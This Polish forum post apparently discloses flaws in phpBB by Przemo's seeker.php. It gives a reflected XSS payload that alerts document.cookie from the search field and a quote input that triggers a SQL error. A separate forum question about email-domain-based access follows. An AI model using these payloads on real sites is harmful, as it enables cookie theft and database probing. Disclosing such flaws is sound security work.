phpBB by Przemo XSS / błąd SQL

Niefiltrowane zmienne w pliku:
seeker.php

XSS
w $_POST['query'] albo po prostu w polu szukaj wpisujemy:
"><script>alert(document.cookie);</script>

Ciekawostka. Błąd SQL zostanie wyświetlony jeśli np w:
$_POST['lookfor'] wpiszemy :
username'

źródło: vizzdoom :)

forum phpBB

Czy orientuje się jakaś osoba, jak można (i czy w ogóle można ) uzyskać taki efekt w forum phpbb

1) mail tylko z wybranej strony (jest stała końcówka.....a podaje się tylko samego nicka)

2) aktywacja wybranych działów w zależności od maila......np. mając maila w @xyz.pl mam standardowy dostęp .........a np @qwe.pl mam dostęp do działów zwykłych + ukrytych :)